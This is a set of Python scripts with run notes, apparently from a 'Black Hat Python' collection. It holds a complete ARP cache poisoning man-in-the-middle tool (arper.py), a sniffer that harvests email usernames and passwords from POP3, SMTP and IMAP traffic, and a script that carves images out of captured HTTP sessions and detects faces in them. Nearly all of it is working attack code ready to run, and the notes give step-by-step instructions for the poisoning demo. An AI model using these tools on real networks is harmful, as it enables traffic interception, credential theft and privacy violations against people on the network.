Black Hat Code-Python Hacking_scapy_steal email cred

arper.py

from scapy.all import *
import os
import sys
import threading

interface    = "en1"
target_ip    = "172.16.1.71"
gateway_ip   = "172.16.1.254"
packet_count = 1000
poisoning    = True
    
def restore_target(gateway_ip,gateway_mac,target_ip,target_mac):
    
    # slightly different method using send
    print "[*] Restoring target..."
    send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac),count=5)
    send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac),count=5)
    
def get_mac(ip_address):
    
    responses,unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address),timeout=2,retry=10)
    
    # return the MAC address from a response
    for s,r in responses:
        return r[Ether].src
    
    return None
    
def poison_target(gateway_ip,gateway_mac,target_ip,target_mac):
    global poisoning
   
    poison_target = ARP()
    poison_target.op   = 2
    poison_target.psrc = gateway_ip
    poison_target.pdst = target_ip
    poison_target.hwdst= target_mac

    poison_gateway = ARP()
    poison_gateway.op   = 2
    poison_gateway.psrc = target_ip
    poison_gateway.pdst = gateway_ip
    poison_gateway.hwdst= gateway_mac

    print "[*] Beginning the ARP poison. [CTRL-C to stop]"

    while poisoning:
        send(poison_target)
        send(poison_gateway)
          
        time.sleep(2)
          
    print "[*] ARP poison attack finished."

    return

# set our interface
conf.iface = interface

# turn off output
conf.verb  = 0

print "[*] Setting up %s" % interface

gateway_mac = get_mac(gateway_ip)

if gateway_mac is None:
    print "[!!!] Failed to get gateway MAC. Exiting."
    sys.exit(0)
else:
    print "[*] Gateway %s is at %s" % (gateway_ip,gateway_mac)

target_mac = get_mac(target_ip)

if target_mac is None:
    print "[!!!] Failed to get target MAC. Exiting."
    sys.exit(0)
else:
    print "[*] Target %s is at %s" % (target_ip,target_mac)
    
# start poison thread
poison_thread = threading.Thread(target=poison_target, args=(gateway_ip, gateway_mac,target_ip,target_mac))
poison_thread.start()

try:
    print "[*] Starting sniffer for %d packets" % packet_count
    
    bpf_filter  = "ip host %s" % target_ip
    packets = sniff(count=packet_count,filter=bpf_filter,iface=interface)
    
except KeyboardInterrupt:
    pass

finally:
    # write out the captured packets
    print "[*] Writing packets to arper.pcap"
    wrpcap('arper.pcap',packets)

    poisoning = False

    # wait for poisoning thread to exit
    time.sleep(2)

    # restore the network
    restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
    sys.exit(0)

mail_sniffer.py

import threading
from scapy.all import *

# our packet callback
def packet_callback(packet):
    
    if packet[TCP].payload:
    
        mail_packet = str(packet[TCP].payload)

        if "user" in mail_packet.lower() or "pass" in mail_packet.lower():

            print "[*] Server: %s" % packet[IP].dst
            print "[*] %s" % packet[TCP].payload

            
# fire up our sniffer
sniff(filter="tcp port 110 or tcp port 25 or tcp port 143",prn=packet_callback,store=0)

pic_carver.py

import re
import zlib
import cv2

from scapy.all import *

pictures_directory = "pic_carver/pictures"
faces_directory    = "pic_carver/faces"
pcap_file          = "bhp.pcap"

def face_detect(path,file_name):

        img     = cv2.imread(path)
        cascade = cv2.CascadeClassifier("haarcascade_frontalface_alt.xml")
        rects   = cascade.detectMultiScale(img, 1.3, 4, cv2.cv.CV_HAAR_SCALE_IMAGE, (20,20))

        if len(rects) == 0:
                return False
        		
        rects[:, 2:] += rects[:, :2]

	# highlight the faces in the image        
	for x1,y1,x2,y2 in rects:
		cv2.rectangle(img,(x1,y1),(x2,y2),(127,255,0),2)

	cv2.imwrite("%s/%s-%s" % (faces_directory,pcap_file,file_name),img)

        return True

def get_http_headers(http_payload):
	
	try:
		# split the headers off if it is HTTP traffic
		headers_raw = http_payload[:http_payload.index("\r\n\r\n")+2]
	
		# break out the headers
		headers = dict(re.findall(r"(?P<name>.*?): (?P<value>.*?)\r\n", headers_raw))
	except:
		return None
	
	if "Content-Type" not in headers:
		return None
	
	return headers

def extract_image(headers,http_payload):
	
	image      = None
	image_type = None
	
	try:
		if "image" in headers['Content-Type']:
			
			# grab the image type and image body
			image_type = headers['Content-Type'].split("/")[1]
		
			image = http_payload[http_payload.index("\r\n\r\n")+4:]
		
			# if we detect compression decompress the image
			try:
				if "Content-Encoding" in headers.keys():
					if headers['Content-Encoding'] == "gzip":
						image = zlib.decompress(image,16+zlib.MAX_WBITS)
					elif headers['Content-Encoding'] == "deflate":
						image = zlib.decompress(image)
			except:
				pass	
	except:
		return None,None
	
	return image,image_type

def http_assembler(pcap_file):

	carved_images   = 0
	faces_detected  = 0

	a = rdpcap(pcap_file)
	
	sessions      = a.sessions()	

	for session in sessions:

		http_payload = ""
		
		for packet in sessions[session]:
	
			try:
				if packet[TCP].dport == 80 or packet[TCP].sport == 80:
	
					# reassemble the stream into a single buffer
					http_payload += str(packet[TCP].payload)
	
			except:
				pass
	
		headers = get_http_headers(http_payload)
		
		if headers is None:
			continue
	
		image,image_type = extract_image(headers,http_payload)
	
		if image is not None and image_type is not None:				
		
			# store the image
			file_name = "%s-pic_carver_%d.%s" % (pcap_file,carved_images,image_type)
			fd = open("%s/%s" % (pictures_directory,file_name),"wb")
			fd.write(image)
			fd.close()
			
			carved_images += 1
					
			# now attempt face detection
			try:
				result = face_detect("%s/%s" % (pictures_directory,file_name),file_name)
				
				if result is True:
					faces_detected += 1
			except:
				pass
			

	return carved_images, faces_detected


carved_images, faces_detected = http_assembler(pcap_file)

print "Extracted: %d images" % carved_images
print "Detected: %d faces" % faces_detected

pic_carver_dir.txt

Install OpenCV libraries with the following command

localhost$ apt-get install python-opencv python-numpy python-scipy

files to handle facial detection
wget http://electi.cc/files/2008/03/haarcascade_frontalface_alt.xml

Dropping files to made directories
localhost$ mkdir pictures
localhost$mkdir faces

localhost$python pic_carver.py

scapy.txt

http://www.secdev.org/projects/scapy/

ARP Cache Poisoning with Scapy

run : ipconfig

Find Ip for Default gateway

run : arp -a 

Match ARP gateway to MAC address


DEMO:
localhost$ echo 1 > /proc/sys/net/ipv4/ip_forward

localhost$ sudo python2.7 arper.py 


localhost$arp -a